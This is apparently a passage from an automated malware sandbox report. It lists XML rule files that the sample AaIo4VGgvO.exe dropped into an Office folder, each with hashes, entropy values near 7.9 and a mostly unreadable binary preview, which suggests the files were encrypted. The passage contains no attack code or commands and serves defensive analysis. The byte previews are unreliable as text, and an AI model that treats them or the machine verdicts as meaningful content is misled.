Preview:	<?xml.<..v_).4u..BD..5....E0.%'fD.}.....eb.N\|q...Z...l....R+7.w.9...y{t......z..!..8."(.ih..2.1..'~..{..o.p..9....M....B.....b..G ....kz.B..FK>...H$-..\|U{..U..!.\.qS.^l`.{..P.d....w)".5...... ..#....1....N.<......A$.]G.~~...H^.v}.X....@....$.9J........q.&.V$...4..sT.$....l..v.C..ZU....,#..m_.(....J...Z.k.k.17....%.k&d<.z...........1.X.B..v..U..d./....3S..s.....N...a...%.D......S)d.]..V.j.. \|qt.4.G..Z....."....V......:.eK..?......;f.B5:C3....I..H..o.........0/...._3..Be>.>...j+3w..6w....3:..\|.......fn..o...%.......9\|#.....ZV........k^....."f8r..K.....n(0Bw.#..<f..]..y%...H...yT..-..[6.^.........x>..O.<....V{...r.]Ba..d.W.`...jv\|..(CE....k}.L,L[.d.1..d........R...Z....Q..KF. .C-a..`.)..D..h....u.W....<Z..4.K..R[e..2U.\|.V.Fdw..".u..J/^.z(.w.`'..M....X...Gn....l...H`_.77.;LgYGf7....._..t..,,w3.."...2.j}..h.c...AI.._m`..\|[.o...Z.i..zh0.bT...A...joV.C/...........F.F...\|.B..H..;`.$F........5..X!.b.U.........k'4..)...H..q.K......9&.p.bw?<.^D$

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703850v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1738
Entropy (8bit):	7.888730592302173
Encrypted:	false
SSDEEP:	48:FsIvKFyvh2dO2JJR7X1rTnnQIovE/STKmD:Fgo2dO07X1rTnn+B
MD5:	CC00517A08CECED6C32D08D17295F06D
SHA1:	6BCE431E6902D9002F2BFBB99331AA130E219A13
SHA-256:	D8535CE3A043EA73B6841A21EA54E19A531F11255AEA2F09F80101B9D28C6875
SHA-512:	1DFD696256E0368E10A9A38C8ED5FD0B7FC9F5C289DCEF47EB59BA89DC4833125A66C05EDFCFED2E2C1AD0AE498D5450FD8F6217415E16258812ECD4AF4ED58B
Malicious:	false
Preview:	<?xml.{......3.....G..u}....<4.KPm&...7.P.W.d...#...T%.,I............N....@.......\..o........lD!..K...R.J../Y..0...-.EI...r2...!a.3Y...;..p.,LL#S.-\|.8...9...(....^..dN0.NT.Ce.q..{(.'...H'...)..H..._.R.~.6.]Dt....\.G.c`F.u..0.n!..(.5.W.....WH...C.?..+.......@.b..X..'......e......._..](\.9.Kp..\....z..=.X.../.>.Z._.H..u...+..1.4.....y..!.s....._...gzJ4.?..\..~.?....P=..?D\|.m...XceP.QHI1....A..I5...3.T.W..D... .~...K`...Mv...A>..r~...'BH..v..=..:....8.......0a0..m..b.=.>D...=....L..M..\|...]m...i.=..kW.oe\|.@..=.-.p5.A.)-.Q4...%.9!-...>.}N...'.,..`.MF..O..........\...=xb/..V..."Z..+.!Q.zB^..&7..rDa''.B...#4.Wp.....-5...C.X..k...b....a.I..8...e.u&.n.n...WQ."..r_-G..3....;o.T...XBJ.i..j......}/.FZ.3>..}..{..#K..a...C6.g..d\|D...`/..%..\|.....f..Lt...re<jb'G..Xi.&..9^..j.Q.b:p.<`...+-.Q.....yR.....el../.B:.........^i..).<...]!..6.u...0...g.H.Y.s...u.aR..L..=..a..T?..y)..r...1[.V&.t...h..^..h.........%I.iAD5..o.:....w?.f...%...o.Y)

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703851v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1775
Entropy (8bit):	7.873499474802056
Encrypted:	false
SSDEEP:	24:XynkP8fosJX7zh2fT+pQJp5fX9RZ+JMoNrhXWK1qJKZYcS5ozYTq0jDD7l8BRrEu:XpkTJrzh2fpUrNLYVcuD7srrnPD
MD5:	5A417387441D3BC6616EACE0321EDA57
SHA1:	655DB8164FEE4E298DBC4E1FAF7C1F52C0344CA9
SHA-256:	57A2F41259D5724E98DD403D1A90230F764F586A5E2CC8621ED88333912BF3FC
SHA-512:	7FD3FFB1EED9D47FE5081389BFBA95551512435646C1F0222B7980888B21641169D2986692D41A93BB2D6BC6FF1C48BECFD6E61582DCB14DF3D91BB8B3EE07E7
Malicious:	false
Preview:	<?xmlr...slNWu.......!..&1..3O..BQ..}k..~.hJ}....r..^.Ug..).......]...;xjS._v.0.~.q..Cz..ji<.......ouL".-b..r.}......59..../.G>......B.3....a7J....B..8M5......P..([.f....}..K.~>.....X.......;.^Qy].l..._....Q"..._u0B!......!_:....V...]...,..).....u..S...LsF...L..G..T.d..q..oU\...\|..<@....z.-.\.P.K$g....x.\|s.l..3..P'..../.oX.Y`=.N}..X...`:...,.M......4..n....\r.8n......{.....}m.Ziy..{...@#x.F.....G..~~...!cp...h.%W.......T...b..#.........0....o^....P,(...En.p.]zN..w...I..s....\......$0".!..;....\|.[...\|(.......N.-.../.cz}..8......df....a.-.5}....&.c!B....b......H9....~O.?.H.i.Q.%%..1..@.!.y .....H8.p.....39.vO....q.g....e..^.u..[..bZ..=.4%..4j.....0&{...X...:+1.8..L3O.;.....Q.60....=$DP.>..._31.7....n_.xo,{.h....... D.....[....1&./.uS...v.1.Do...YI....._.z........ok.{(g.0.i.Y>..#..E.>..(.8sM.d..q.....8.}}....\.-.\.._.?=[z.8@6.p>..........W.................3U.$..R...../]W.DY.....h&.......Qi+..<.xR.bJ.!..\O.En.8.....[..>...1HlYY....VL.+.).....n.@X.[P

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703900v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1723
Entropy (8bit):	7.879162148488611
Encrypted:	false
SSDEEP:	48:qbVrBGXKgsvb8+IeZZr5MPg+PNZCtMvqSCcmgD:qzc7uo+IeZZdCgntMvuq
MD5:	1C49DAE68EC612875B4BD5D827411AF5
SHA1:	E4A369D28BDE8B63E910429A390A1871584B55EA
SHA-256:	50257D51A69AA5200CEE08ECC9F78E1AF2E7F2728B7C900466865FC3A7504D22
SHA-512:	87D4762138FC88EEB599E7916E6D4FA3B07A274172AF273BA3B3B1A99CE5E8D4767317A43C3BB345F78BADEBC35CFFCDF0927D6CF3AD0F97827DF331220A4E4B
Malicious:	false
Preview:	<?xml.. S.9...Q..Z.s.+.u..D....l..A.pk..\...T...S....fB.KL...v$.1.<...v4j6:..LlB..K.g.d....`.....I2.X.c..S.%4KTe.T.V.al.M.....t0..S/V.....k]c..=..tQ.........ar,......c....po......8.W...]...SW.H.R..'.@t*.....h@.0..I..o.'M.F...I...q.Dg.6....@.........D.{.=l.....[.R..-._9....I..Q.T...C..Q..d..Q.h.\I.6..Z.."g..P.U}..^q9......./..$..;..).$......N#.7.+..M..-@{m.A.Q..)y.D.\|..!..5.:......H....;...r%.M...H.)..q+.6Ek...[0d+..U..........'..&.V...y.+l_..9..B.f...K\|..'/d.sTC.Ys..VD.<..R.q(Q.$...l."....<.1x.k...N.,~...$.a.R.v...u.E...V.H.e..7.uX.2.A.0-w9....%....5...(..1...)@.0.^o.oH.....K.....E.. .C.8F..V..bo[...Vm}...I......O.%4....m.^+KD.G..4J5m'.......w1.V.Y../uvs...RP.3.j.....V.s....\|N=ev..O...Q.....U.Q.....y...._=U,..J.v.@.8./....+..c; .I..\.h7..$7g4C.M.gI.O..H..z...2...h.4....m....Jq.E_D..>..>....x9..............(.Bx.........0..C..i.E..!....]........S5.T..}.~+.P..,......5S..V...X.....\|..T4A............Kll...G.....2.x.KE.S.p.g".z.......[._f....[

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703901v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1760
Entropy (8bit):	7.87165176307949
Encrypted:	false
SSDEEP:	48:vJXYQkYCvl6b4pzoirmr96qiv9BLMWNvUb7qop7D:vxYvvZpoXIv9BASA7qQ3
MD5:	83B5175FFEA97C4BE71D72A00D1DC1F9
SHA1:	1A870A836686494A67B169D1543FEF6265E55EA4
SHA-256:	0AD275CA2E898522B4FD239C077FC762BE0E759844818F874BB9775D72570064
SHA-512:	E087B09E9815461A09BEA880EC596004900B4E9DACC19EC8D4912066E6DA6FD49D6BE841A092428449FC82607DB90295B6F96EBE05F0E463570A7A4E10269E83
Malicious:	false
Preview:	<?xmlB.. .y.0j......O[.%?..f.#.`>.....U...K6...=....a.....s.m...Hz3N..b.3...y.. XHO.:........&.TB.OmP\|...L....s4L.t..l...x...tF..U...]..m.]_}.-........Y.L.-.s.....mu..o....Z.,M.g...YM...2..V.Bay.b.....(K.......w...H.-.......r..:6...U5x.x..@..-.(.=.'.H....6.>..9....KO.'.T.f.O.gH.....x....l:a...2...;td...f....).o:......uD..k.N..,.4h.,j.U..._....(...1!...;^ HB..1./:9^e..T.NL.t.....b4tsg..j_.7......%ll.;m..O..4?..3...T..j....Ee.=b&h..^.`..EO..b...%Z.K^..,..EX..0....=E..bM....1C......f3..t....b....v......&X.Aso.~..y..Y.{..fR..:.....:#}..(?....A..$....e?.....;.1:..w..\...N..=(...n{.........(...e..a.g..$cKQf9(\|...,\|L.8.A.<...)...7^....7..-.G...`gO..N?..?...T2J.R....8^.......-c...G[,..4.f..8.....}v.~[.PKb..<....D.{.,&.v9.:...6....T.]c2.IS..&..Xl.R"..i4R..~.RhCy.O.>_.%.m.wh2.$..ZH.te../-...j...F..G2^..B{....'z...Oc;g..-l....lg.......8.I.z...}[..kP.p.^.\.._@8.,.O>b..A....MA`X.........j.Z.@.bq._.h......1^`6)......1...39.F...........F,xv..B(.QX.b.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703950v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1699
Entropy (8bit):	7.889627730395417
Encrypted:	false
SSDEEP:	48:NakWdgiyWx1fH2hHG1JU4xt7YrqnIMa5K84KKblMpw3D:NakWdgiy84dCNkrqnIZ574JbGpwz
MD5:	9D4880EA1AA6783955ECCA7890BECD4D
SHA1:	11FAB3939D2BBBEF9A924582AAD4102015B754D4
SHA-256:	67836EFC3D3A50D30C513500DA1055CCC638D34DAA0A8B71D790871F5A0816C1
SHA-512:	E36844C792378D1A29B28468E0EEC6976C776C4010A7087912429AF27190133048041B1799A6073A6EA133F4D66B9DC08DFC533652F1FE3B7160C02F4A21A4DB
Malicious:	false
Preview:	<?xml...`...$...w.W_JQ...Y.ky^....4....R"j&.h.D...m4V\|.U..m..J.V7.p..`.c...b......n...f..g....09.\..U.H.._8....4....w......#.J.....@..~)...O.^...N...l.......S.\.$].V.\|K..V3.V...F....oaKC..{L.E....v...:..o....z....A/.o%..7.d.r(..G"F.em\>.B..Bj.r.W@.........s:uP..H<.......^_K....=.p0PY.Z..A...z.}I.^..m.....4.\UG(.`...:................._.H=.......zy.D.h..O......{g.V...".d.9....R....c....\.%+.9^l..uM\...e...{!?.D.,.`76.jxY...aM...~v.(.b...L.4..5..."<.){.K).0'......].Z....Y.P..r...s.\|<.l....C....?.0..R?..L..M C....j.y.....,.w1..">..u..r.z..s.42....@g.u-...S.T[..*j=.u.(.zE#..cqC.........n.FX......g....o5U.....3..!.....vl..~..z......e5$yH....{....Pa:.!..{.Q..K...[.N../..).,.......'../.g...a.....[../.<h%X.U..9.]..W..<a.@.e..8.+....)e..V....<..{...!..M.!.6....6$.....:L..P.U).."K.L...(S].....[....t1...7.......\|..=..(...S..L7..I%8......R.gbO.j.T8....\..s.a#...2...C...t....c5...I.\|..n...P.....Y.4>.,...{b.2.."b..ku...g....S...k...t.6=-............]...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule703951v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1736
Entropy (8bit):	7.8779428679635535
Encrypted:	false
SSDEEP:	24:O4thA3oUpJT8i2pFsW8hN0BwHS3F6GLejEQzlh4BWTpG095LiBMx+f++mJt2W6fL:wDhIXDVjLe3FptniBMsfXmJtHoJ9D
MD5:	685936ACE97AA8DF185A9121F1EE72B7
SHA1:	6757438C3A1F2424AD9769E620FA88211F9736E3
SHA-256:	80993BB2E9520617DC80F87E79B8B00BC0A67470CE415218827420F7A02FD08B
SHA-512:	F4A49DDE2BE65B8096DBBBFAA9B0C07B74A7714A4E202857F2F0E9595DDD8C48643B8B59D793157ED4D3E7A5ECD73E96CF22E1D157F97F6B4383637FE7CBA72B
Malicious:	false
Preview:	<?xml..+bKz.j.mqrN...}$9..-;....uT..{.5...uJ.X..'..=DYl../.B.d.w..Mw({.`.`...!wNY../\k...W....xK.Bxk..v.@..S...@.O\.^....8w.}.}.^$...8.7..'-..rH.Jp...=.+B........N7S.'...0Lsv..Zi.6s.1G...i...4$.:P...k.?C.i.....&...i...(. ..o.d=9......u..Ee.Jm.....;....^..D/..}R[a.NG....". .z..gZ.k.d.@.?..w.z.J/.Q9.......?..R...m.t..vG...6.-.~.+..O1...L..[.R..G.G\|.$P`J.u$.I...]...AS..w........]...P!.y......,.E.z(.{....d..4...DEA\|...\|dP.4..T-.(....0P<>....K.]..V..<yc.@.:bQK.....G?...o;..n..-.6...S..ys.-....$....0...n .... ........K.t....b..[{wr..5.^.yR..#.N2..<]..~.....[.8..IU.[......5.w..r.\.PgB6.k.R.R.o.`S.ijH^i...D..\|+..4.....A.3 .8...m.i.1.Z.?....0d...../}...!g-3.....<.8t.WN..M...t.....Z@].~..!)....4aV.-Xw..N..io.\|.K..._..T...^..R.}.A].l....U....M......._`Qo..L.<.c..d..V9.r...F..R....W...........+.....0....N..,D%.p..e>....j..ZB...ur1.N...BP......fgGP..j..1E97gY..;..K>.Mq...{7Z.8.. ..(e.k`...-..s..,.W5..V.........x......=G8...@.O.&+Z:._...B.y...c.*...?.H

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704000v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1715
Entropy (8bit):	7.87862077636073
Encrypted:	false
SSDEEP:	48:E3ET1teOf96wPkAgN0AruKdcGaZpHAMG59S7AG7fD:EMt9VsdrBBItkg7AG7L
MD5:	99EC7168AB42773142C81191C527AC99
SHA1:	A93D2436554057ED065118638A3E4A0A552EEE19
SHA-256:	B9A6871F1BB2EF6375952EB0D214829F58A37B1CF18D9C39186246ADC501AC7D
SHA-512:	64597CA4F1DBFB02C8434A9B67E5F96C2974609855DB19E84468ABA243421E705B72FDC859317B6D366CB94C9D4CFDEB3BA9C9F0F891913938619866FE27272F
Malicious:	false
Preview:	<?xml.p..... ....P.........0ii)S....C..3x{..w.96^.F.u.Q.'I.&h.$.e@.....pW...f."X ..<...%....X.(A......L'q\|.eD'gewO.F7lR.`....Z......;.v..n.......xv.Q.;..J..B..=.i.l.......G[.X.m....7IMX...7.C...6`.h...p...h9V..T1.....Q.7'..]/..8.G.....695...".b.{...8..2.f+Y..M}\G..}.pj.J.uts.e?`4/%.w,aCv.Y.R}`]. ..@....%....J.....R....iPE.G..a;P...{N~.`{>l.Z~d+.aC.O6..^.LP3.Z%.X...%...v."...\|5.Rb..\|X.....[....b..Xog,./.{.JF....S...aJb..$....^69.n..xC.R.:...e...C<...i....[....K..A......u.WY.~...\Qz-,.MD.O..4.T.....K.......?:b'h:..x....5%'.J..u2......5U...P.....UX.Z........X.$.uy.b~A.u..*..;........}...SbeH.^8_.oj..[.......p..[....f.LQp.5..X...&.N...t.j.~..X...gTW<6.WY!...!.6.{9T.y....pg.0...B9.....F@].a.u..ufG-..B...e....M?..g.z...(.n-$F.......%.^..m.).l...;a....g..^.l.!t....ZR....U.x]......}]U..$.EG.w...s$.q.a.........7.1.\|./k..}q.1.Y'~..Gx..3]iN...d.{n.Uk..C.0..B=.#Q..'..(X..AU.s.........L1....8.Bj+..8.~l...kOU[5...h.V.F..u.m2.......pq..8.db...N.;..>i.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704001v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1752
Entropy (8bit):	7.880015181829327
Encrypted:	false
SSDEEP:	48:pqBnGjr5tnDIGo6bHKyow9Xew5/CCga+fowhpnhKzyD:Gq5tn0Glb3clrapahKza
MD5:	154CE3793D85F1ECFF272C5629A36731
SHA1:	54F6239156ADCDB8F968C678925F5AF92B0EA0BA
SHA-256:	3416B3E9E454D2B994D8A5DFB161C6E4CC66ADA3FDBFA62690E612444415B2C9
SHA-512:	0D37C3EC2A26785294947F5909D454F18EE388C38419FDDBB339A8E3AD6CF16B60EF699EF4C2E199EA3317D42F52F611FB045ED1E7E7FAB52FACAB3D4B29E6B8
Malicious:	false
Preview:	<?xml....C....Z.pp.......N.ms....X.......N..>....B...;E..q.0...6.U...].D.XQ....,.c'8I....DY8.UW"...Z.hK.....~....l.....?.$6.......!...N....ua_0&..W.4....(..!Hn3<.j.i.....zux..p...Y^...l.....$.....k.w..WyZ.c...F .b2e/K.iT."Rp.\..j.85.c....{..k....w......D.@.....B.`l....z.O.TU.p....}...iG)3>.n..~.mNa....!.........1._...y .......{...s+.....J.1Q......o.......T..............s..u=>N.&.'.}..x..k..{rXT3jyv.g,...`0..D.{>]`..,.I-....Bb's`^.....M...T..(H.f.7.1./6.....~.oS...i.4$E,..6..N..d...............P...D.Y..p..Z....Y..]..)...2....1.Y....c.0....d)^.1.3...jOaYy.2....G 5.v.\|.zR.s2..* ...O.1.....]6....`!wq(.D=.7].3.....^...~....t'.!.$.(e...j.d.4.H.%.=.c...u.$?......0.I..[}.s.\|3......h... .0-...,....j....=.r.c..5h..F.k....Y..B........VA..KY?....C..%...}...r........o..y......"...@.->1......G...(UR.\..%......&B.Q..%..4F..#.....B.=.W..d./%......3m.......t5..l.~.c.Sh.*.iO.}x..e.bJ.w6..R.C.G...A.bQm.Q...)k\|h.........^It.hi\|.S.=.q.3D.N.h2M.0...8."...LDJM...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704050v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1689
Entropy (8bit):	7.882543633804206
Encrypted:	false
SSDEEP:	48:03OsIMYhFWaGDWLzykzi+sEpgSmRvDaCE8MvXmD:0+3thFWrD8rsEaZE8WO
MD5:	C7B4C71733B3D7FC1077AB12227FC17C
SHA1:	0928532418A4E28A8EC8CFB68FD8557C08143D64
SHA-256:	4BB3E263147888B8447598C03A00B86CE2CCF616275D36D125E5BC0DDBE92700
SHA-512:	16916F03B1FC0AC31921EFC865B168400C6EFE6754842A4339AF3908A990BCBDC66ABB81C352D91F37835EB088E1F7B85EB9F807ED59750EAF4501F69731C16B
Malicious:	false
Preview:	<?xml..c.K....C&Oa..e.Y....52p[@..........^.sa'f.i..<.U....\6.H.pu:......t.......B.0~.......;"..~0.z.1...r./.....N...3a....g[=.:..JD...x..V.M!G3..%..i..7....0..Z.1i.....aj.P%T....4....vk.{..}.fjN./.-...5...U.f.3D.JQRn._.m...`U.]..B..}.....4.Z............z....Y..~V.@n...~.1..+.u.o..x.d.....TMr..q...L....8G6..s....".<.eo..M!,." Z9.;a.)...bZZ)Sa.......,.,..T0h.=...N.....7QRr~..........=.)W#....g..a.}..<.1.p6..]...:.l...8.f.......M.]k.>......lf."....(.m.:.:P2.l..%9y6..../.9M...m.[...P.0.Q.a......G./w.............,..'.z2.^ ....D......p{.~.Xz....gsh......y.<.G.!.E..^..D.\..#...#VuR7....=o.....).O.@.....Q.....*..2e..D.`...=.....qr.<....(..6...v.g"T.O.....7v.A.....,.x6.,..(.[.N..iSP.Q8.I.H..X.c...O.....hl..tK..E.h\....W....o...$.g+...mW........0.w..........9.....%R.j.Q.j.U....].[..hf.@2..]]...e.u7a..7..s.J.^~..y...<.!a.U.u..X.........O6..i.mM..}8H.\|...)..-NV..c .I...+^]a.z.wj.=.......\|......b.#....^.LE...Lk.hc.....{A...L.Pb.....)./#..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704051v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1726
Entropy (8bit):	7.886838209330274
Encrypted:	false
SSDEEP:	48:sJ6FyRkRflNmJL8V6AELallpQn6aGOF/UmbJClrrFD:sUERqfLmR6ELallpKC1B
MD5:	F0351FAF7B7AC08FC28AA9B855B7DE6B
SHA1:	24D7DE5EC069BA8581E1BE2F26A434DCE5E45E44
SHA-256:	D298B3D98EC450882DF41AC6412F1F2D78EDF3CB32CBF92742BFD12EF122CD57
SHA-512:	86D93C8681FDF388F7045D6C85020372A86255EACAF207311A524AC54C5CE7AB3C92BF7AA5777C4B9F533CEE3082C162B39B02BE72C59E8C111C6BC872CE490D
Malicious:	false
Preview:	<?xml.....Ol.AgO.....Y^.&.l..l....4.)..Y......8fRF~.p5....o..W.e.Y...=.^..ZB...S..(s..-.x+.Y......e.......~....e.......-4(....C..k~.I....vM2o ......7.C........H....A.eX.e\....r.q...t....`.....0/...q>l.....,:.i...sHY.......}........A...=...[3...t..q.{tq....rG>..+..T.o..K5..I.. .2.M..f..(.~......^.v.14O.......S..Z..M1.._F.2.kF..v}..f.}..E.J.\z.7n..V.y\5.l...g.]9.}.M.....O...uE....B...yo.g..}..a.1W....OM\..>.w5..d.z.....Cz.^..<..............:.............}..8..l.o.F..-...M..(...\.R.F.....j.b.7.a..k..._k..\.G...^lv.0!NJ....-.M..O.?......!.s...m..?4L...8..Mh3..0.q...9.u../.?D.<.%...... y..k..]..Ek:8....h..n.......B.....w.Kj...m ]\w..=.. .>..L.W......g..U.Q.\|..:...$.....v.n8.I}DS..a.8N.z.t.p.l.z...r...W...v....B!......$./.2...Q.oBn..v-C......G:q]J....#.p..F?k@...!&S...r3.q..fu....(...~'.]..;U..c.........."..v..6e.....w...O+_t.\|..{..l.E...zJea.....D.:.;.,LW2r)./%....4,GSe...v).%].f...x%..=.;K..y....WGN.'.o.I.._....b..c.2gL..hk4[......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704100v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.875675661539876
Encrypted:	false
SSDEEP:	48:UYSuBaayTDnM2IpasNjuU7jj94abBWdHpPLZb3D:UYSuBKMf1Nj1jR4Y2zRz
MD5:	B20AB079074FCD0C5361CBD012AB17E7
SHA1:	258626CC4ED27CA0A3D869B38FDCA89EF13183FA
SHA-256:	90BBCB87B32598CB2C3EBA0C5373B04849D4AF5B964ACBFF63A6B4B772903423
SHA-512:	9779E0E12C77D8ADCCE00837599F5B7A23CEEFD90DD79D5562C1E4611ADF56157908C7F2A544A8DF9B59B523976E8E3884B05694B9995687D53B647D1BDD8ADF
Malicious:	false
Preview:	<?xml\|.b..Og...E.y1......uK..[K!S.Eb.%.U.8O9.}./.H..&...QI)...f`).w+.C.H.....,..#..>Vm.^'...>Z.u..l....iO.s.)...hdVa....e.^a.QT.v.@s.3....cMp..6.....N.D>......).xe..f......NT.....g..K?o.....&=.?Y9f...@P..D..9...K.ag...O.,J..[p....V(.1...r.....T;..px..S......wy....Q....1^z.........q.......o'.....Y.........-....<Z....!HN.......7d7.`.....X...n..R.s..4..9.?QH`.....c#...{.in..y.....)W\|.01.(.......-QY.f.'.....M....^..........x...b.(~..q7....#..@....?#.:F.0........O......tU.Z.t.%.......o`.m.R..f<...\|.V..h=.z...W..S..........-i.....d..Xg..!R.A..u.......R..J..3v.)x.JE.z.'.....L.`S@..0..K...`..L.n..C..1m..?.v..N.....jpE..........O...3.y..f7.......NTq..!.U."..k?g..!?....L.\|c.!i.{6..B..TzN..M....C.....p....x....m..z.U...fu..t.....a...I.^=..n..4.Hc....,...@..`.._.....5u..>..O.R.&'...qu.....}n.Z.1q..J.).j...9B?.z...8UU\|.....(.k..6.8&..(B.4.?...d.i7...T*..B.T. B..;......B...=%......C. .Y....."...C.4.D.S..1..../..D.2..YQ....aD....M\....".4...o..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704101v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.904541594017995
Encrypted:	false
SSDEEP:	24:+0rJiUr5Ie21A2wdjnLEm5lTq1Blcja8PQ4AMRTW12c6LIfogK3ndQTbu8MvsbD:+ly5Iep2wdXh2OzR/jLHn3ndiuHmD
MD5:	C15577C57E182D473AA918501FDFE68B
SHA1:	3224D08C6FD34D7910FC8880D338A6261189122E
SHA-256:	CD551268F0FDEFAA50D3115C4B6C5C8A73C8212C7FE80D93E3866BC2D72D4EE4
SHA-512:	F034BEDA9404DFBFCACFFFA9B31CEA18050B9C470B7798998A49FDF4444A988BD38A6826A88503254EFE388060D17FFD80A3931121245B56A2FFA853166C0DD5
Malicious:	false
Preview:	<?xml..8..G...Ua2J.Q.Z..!...W4bgxj].%k.?%."\.N..[.e.mW)..=we..b.J!I.t.....Ov..T..p.p&m..c.K'..7..?...._.c....4@!...].<..M..e..!.....i.1...A.Y...B..].MG....k]..WB-..$/+s .........:@K...70F.o.....G.$]...t.`..r...I..t).]C.-............E.9......u....(.\|.S.Y8.[..%]....q.lm@..s.........EZd."..E..8.....3q..79...:O6.3..!...}.A8.._2K..!V...h.p..0UA\b..HD..M.sw....2.S:J...Qn........1..LY.....D7)....KRYv.....~y.%...`G..VR^.:a..........@aH..{Q\|:#...Zy...w:....i.<...g.?].Y.`^y.GH...,..b..~..".... x%.<..qQ.n'...T.>z.........\|...hh.@.......&.&...I.......?...x....g..w....,..Zh....<7..s?..l..J.FG.......-....!...Z.g>&.g...#=.h.t.u7p.....Y....c...IG.K.._).....u.\R..3hU..n.E.7..M51.^{A.P4Y.J}d.y.Z.j..E..r........S.^W.@d.i....ys.B..L..QB.....t`.......v.GZy.U?YT..,].....v...b7.S..X..Z(b.../W.>.-2...q........Y.[.4..'.:.N.L:....R...=.\|..us..F.......5.....g..z..I..b.!.p...K.......Iw..[=l ....*.^;...`&fE0P[..7..+h.....i...^..i.S....p\|..hH.=.2...EL.._

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704150v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1695
Entropy (8bit):	7.883845516110353
Encrypted:	false
SSDEEP:	48:wleaXGOu97JqmK7QSVHF22jB5KeO1OkogPdD:wNLk7diHx59O1O29
MD5:	C3B4D89E041BDCC53ED5438468100F86
SHA1:	F719B450BE4C1A8F33D7F4FC769A141C50039522
SHA-256:	9A0879E0CFC7EF0F3D0B253B62D8F819D1ECF0B63BD6B663C59B0BF6B7F0164A
SHA-512:	C763AFA07684E4A02D044D4E97B0C559C3BD5483335A59B1D7E96C702CE064DC5F73ABDCEC425596D79B04FDB1DC7094A7656AE9B6B73C8DAFD9180399C48983
Malicious:	false
Preview:	<?xmlMJ}.A.......7..4..i...I..I.......7....l.Y...bA.......j....t....C#;..K:..I.^.....^v9.v}...b.....0.Q..k...{.S{=X....h...o.}.1:...HL....V6.jSpmpz..y.I.....m...l.......Z.9.;.y...........J'...O....<.....Q..E.04G..t:....Rq..;U....$+..~E.SH&......W..0...hh_t..\..)l'.=....V.I~2...2...q..e..\#...~.l..5........C#..5.s+..+&.....@.\|D'...Q.C>...K.....O.....kF.....@A.VA...~.(.....N.Nr.xlx.-#...c..y.k3JZ`..z@.{.S.by...x.EkZ._\.j)........P.v..Q....S=.K.N$<.<....,...~.NJ...z..F7..Sc3..eo6..`.&....o.3.......O.B.G(..I%[..d..0.\.Dx..Uq..J.mhtt..L....-..g.1(......o.... ..!h.N....eB....j.%..+/<R...1>X..`.n..a..v....@.@s.Z...V...BK.).a.W...&<b....n..\|.UUd.Bh...1.=ePc+p?..=.../.;.).0../....D..(!T.].\nZ.eo7..M...L..1.....gU.f.V...s..O.p.`..["...;>....'W.....8X..,...Rn.)........;...\|H9u..,:.A._.!.~..%..R.9.....(P.8...z...k`....C..oh@.d.n..v...E..S..../..)...9...NW.}..t...2ax..r....`...-..-....c......A....{+j...\|...i.G.,Y.....~8}..w.4.....P.....$Zo.T.;m&?.:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officec2rclient.exe_Rules\rule704151v0.xml

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	1732
Entropy (8bit):	7.886431047264281
Encrypted:	false
SSDEEP:	24:eXl0mnCIIPax7n/TedMBy+M/p8Yaf+1F4bGhn+rOSUttwW1QGVbb0ZxuLr9oebD:c9nCIrlTecVm1eSGOSUttpC8b3D
MD5:	FD10036AB936EF89BE01AFAA8C797071
SHA1:	4C67EBEC151E715448EAED566C5F46B3882ED769
SHA-256:	488C12E2E7414EB975C28AC1AF48C82F25BBF9B7943E9F20132BA9EB505DA4B0
SHA-512:	BECBD522602AA4B1D52D41DE5A09199880CE1A3678D8932411B540002CCB5E665B0C436D9DD266E4AE8C195D7508C86CA9AC352AB36A9519B1E6894C7195DD34
Malicious:	false
